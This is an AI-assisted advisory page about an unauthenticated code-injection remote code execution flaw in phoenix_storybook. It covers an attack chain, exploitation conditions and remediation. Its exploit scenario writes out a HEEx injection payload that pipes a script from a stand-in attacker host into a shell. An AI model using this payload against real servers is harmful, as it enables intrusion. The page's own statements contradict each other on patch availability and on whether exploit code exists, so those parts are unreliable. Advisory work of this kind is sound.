Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconDiscover exposed /storybook route
-
DeliveryOpen LiveView WebSocket to PlaygroundPreviewLive
-
ExploitSend psb-assign with quote-breaking HEEx payload
-
InstallServer compiles malicious HEEx template
-
C2EEx evaluates injected Elixir expression
-
ExecuteExecute arbitrary commands as BEAM user
-
ImpactPivot or exfiltrate from host
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The target Phoenix application must mount the PhoenixStorybook routes (e.g., live_storybook "/storybook", ...) and the storybook LiveView playground must be network-reachable to the attacker - by default these routes are mounted in dev configurations and are frequently left enabled in staging or production. The attacker must be able to establish a Phoenix LiveView WebSocket session to the PlaygroundPreviewLive (no credentials required per PR:N) and send a psb-assign event referencing a valid variation_id; the attribute value must contain a closing double-quote followed by a HEEx expression block of the form foo" injected={EXPR} bar=" so EXPR is interpolated unescaped into the compiled template. Limiting factors: applications that do not mount phoenix_storybook routes, or that gate them behind authentication/IP allowlists, are not exploitable; versions before 0.5.0 and 1.1.0 or later are not vulnerable. |
| Impact | All available signals point to genuine high priority. The CVSS 4.0 vector AV:N/AC:L/AT:P/PR:N/UI:N indicates network-reachable, low-complexity, unauthenticated exploitation with no user interaction; AT:P (attack requirements: present) reflects only that a Phoenix Storybook playground route must be exposed, which is the default deployment in dev and is frequently left on in staging or even production. Vulnerability impact is maximal across confidentiality, integrity, and availability for both vulnerable and subsequent systems (VC:H/VI:H/VA:H/SC:H/SI:H/SA:H), consistent with full RCE. EPSS and CISA KEV data were not provided in the input, so probability of exploitation and active-exploitation status cannot be quantified from the source data - defenders should not assume KEV inclusion absent confirmation. The upstream patch commit and GHSA advisory provide a clear roadmap for exploit development, so weaponization risk is high; no public exploit identified at time of analysis. There is no conflict between the description and CVSS vector - both consistently describe remote unauthenticated RCE. |
| Exploit ScenarioDerived | An attacker who can reach a Phoenix application that mounts the phoenix_storybook routes (commonly /storybook in dev/staging, sometimes inadvertently in prod) opens a LiveView WebSocket to the PlaygroundPreviewLive, then sends a psb-assign event with an attribute value such as foo" injected={System.cmd("sh", ["-c", "curl attacker.example/x | sh"])} bar=". The server compiles the resulting HEEx template and evaluates the embedded Elixir expression with full Kernel imports, achieving arbitrary command execution as the BEAM user. Working exploit primitive is directly derivable from the public patch diff. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 20, 2026
Unauthenticated remote code execution in phenixdigital phoenix_storybook 0.5.0 through versions before 1.1.0 allows attackers to execute arbitrary Elixir code on the server by abusing the psb-assign WebSocket event to inject HEEx template expressions. The flaw stems from attribute values being interpolated verbatim into HEEx templates that are then compiled and evaluated with full Kernel imports and no sandbox. Publicly available exploit code exists via the upstream commit and GHSA advisory, though no public exploit identified at time of analysis for in-the-wild use; CVSS 4.0 score is 9.5.
RemediationAI
Vendor-released patch: upgrade phoenix_storybook to version 1.1.0 or later in mix.exs and run mix deps.update phoenix_storybook (see GHSA-55hg-8qxv-qj4p). If immediate upgrade is not feasible, the most effective compensating control is to ensure the storybook routes (typically mounted with PhoenixStorybook.Router.live_storybook/2) are not exposed in production or any internet-reachable environment - gate them behind an authenticated pipeline or remove the mount entirely from prod router configuration; the trade-off is loss of storybook availability for whoever was using it in that environment. Additionally, block WebSocket upgrades to the storybook LiveView path at the reverse proxy or WAF (e.g., deny /storybook/* upgrade requests), accepting that this also breaks legitimate playground use. Network-layer restriction (allowlist developer IPs only) is a secondary control with the side effect of breaking remote contributor access.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Phoenix Storybook is an Elixir/Phoenix LiveView development tool for showcasing UI components in a 'storybook' style sandbox, similar to the JavaScript Storybook ecosystem. The vulnerability is a classic CWE-94 (Improper Control of Generation of Code, i.e., Code Injection) realized through template injection: the PlaygroundPreviewLive LiveView accepts arbitrary attribute names/values from WebSocket clients via the psb-assign event, passes them through ExtraAssignsHelpers.handle_set_variation_assign/3 unsanitized, and the ComponentRenderer.attributes_markup/1 function interpolates binary values directly into a HEEx string of the form name="<val>" without escaping double quotes or HEEx delimiters ({...}). The resulting string is compiled by EEx.compile_string/2 and executed by Code.eval_quoted_with_env/3 with the standard Kernel module imported, meaning any Elixir expression - including System.cmd/2 or File operations - runs with the BEAM process privileges. Affected component identifiers per CPE-style references map to hex package phenixdigital/phoenix_storybook versions >=0.5.0, <1.1.0.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Primary rating from Vendor (6b3ad84c-e1a6-4bf7-a703-f496b71e49db) · only source for this CVE.
CVSS VectorVendor: 6b3ad84c-e1a6-4bf7-a703-f496b71e49db
Lifecycle Timeline
1DescriptionCVE.org
Code Injection vulnerability in phenixdigital phoenix_storybook allows unauthenticated remote code execution via unsanitized attribute value interpolation in HEEx template generation.
The psb-assign WebSocket event handler in 'Elixir.PhoenixStorybook.Story.PlaygroundPreviewLive':handle_event/3 accepts arbitrary attribute names and values from unauthenticated clients. These values are passed to 'Elixir.PhoenixStorybook.Helpers.ExtraAssignsHelpers':handle_set_variation_assign/3, which stores them verbatim. When rendering, 'Elixir.PhoenixStorybook.Rendering.ComponentRenderer':attributes_markup/1 interpolates binary attribute values directly into a HEEx template string as name="<val>" without escaping double quotes or HEEx expression delimiters. An attacker can supply a value containing a closing quote followed by a HEEx expression block (e.g. foo" injected={EXPR} bar="), which causes EXPR to be treated as an inline Elixir expression. The resulting template is compiled via EEx.compile_string/2 and executed via Code.eval_quoted_with_env/3 with full Kernel imports and no sandbox, giving the attacker arbitrary code execution on the server.
This issue affects phoenix_storybook from 0.5.0 before 1.1.0.
Executive ViewAI
phenixdigital phoenix_storybook versions 0.5.0 through <1.1.0 contain a critical unauthenticated remote code execution vulnerability; publicly available exploit code exists. Any organization deploying this library faces immediate risk of complete system compromise without user interaction. This vulnerability requires urgent remediation due to network accessibility and low exploitation complexity.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to WebSocket endpoints serving phoenix_storybook via firewall rules; (2) Implement Web Application Firewall to block psb-assign WebSocket events; (3) Disable storybook in production if operationally feasible; (4) Monitor for suspicious process execution and HEEx template compilation activity.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
EUVD-2026-31112
GHSA-55hg-8qxv-qj4p
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB